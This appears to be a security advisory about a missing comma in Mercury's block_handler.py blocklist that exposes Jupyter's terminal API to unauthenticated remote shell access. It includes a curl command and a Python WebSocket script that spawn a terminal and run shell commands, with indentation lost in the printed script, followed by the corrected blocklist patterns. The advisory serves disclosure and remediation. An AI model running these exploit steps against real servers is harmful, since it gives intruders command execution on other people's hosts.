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A missing comma in the `mercury_app/block_handler.py` configuration file introduces a severe security flaw by improperly concatenating regular expression blocklist patterns. Specifically, the first rule for the JupyterLab UI is merged with the subsequent `/api/terminals` endpoint rule, causing the blocklist to bypass the terminal protection entirely. Because of this parsing error, any remote, unauthenticated attacker can reach Jupyter Server’s built-in terminal API over a WebSocket connection without requiring credentials, sessions, or prior access. This failure allows malicious actors to spawn a full, interactive root-level operating system shell on the host running the Mercury application, posing catastrophic risks to server confidentiality, integrity, and network availability.
DailyCVE Form:
Platform: Mercury
Version: 3.2.3
Vulnerability : RCE
Severity: Critical
date: 2024-05-15
Prediction: 2024-05-20
What Undercode Say
Analysis of the vulnerability reveals that Python’s implicit string literal concatenation is the root cause. When two string patterns inside a list lack a separating comma, Python merges them into a single string expression, rendering the second pattern ineffective as a standalone block rule.
Exploit: (Educational Purposes!)
Step 1 – Spawn a terminal endpoint using curl:
curl -i -X POST http://localhost:8888/api/terminals
Step 2 – Connect via WebSocket and execute arbitrary shell commands:
python3 -c "
import websocket, json, time
ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())
ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)
ws.settimeout(2)
try:
while True:
print(ws.recv())
except Exception:
pass
"
Protection
To remediate this vulnerability, add the missing comma to `mercury_app/block_handler.py` so that `/api/terminals` becomes an independent blocklist rule:
BLOCKED_PATTERNS = [ JupyterLab UI + API r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.)?", r"/api/terminals(?:/.)?", r"/api/shutdown(?:/.)?", r"/files(?:/.)?", ]
Additionally, ensure proper network segmentation, firewalls, and reverse-proxy authentication mechanisms are in place if deploying publicly.
Impact
Confidentiality: Complete read access to any file accessible by the Mercury process, including notebooks, secrets, and environment variables.
Integrity: Attackers can modify, corrupt, or delete any file or notebook served to other users.
Availability: Attackers have the ability to crash or shut down the application container or server.
Lateral Movement: The host shell acts as an internal foothold to target other systems accessible within the local network infrastructure.
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Sources:
Reported By: github.com
Extra Source Hub:
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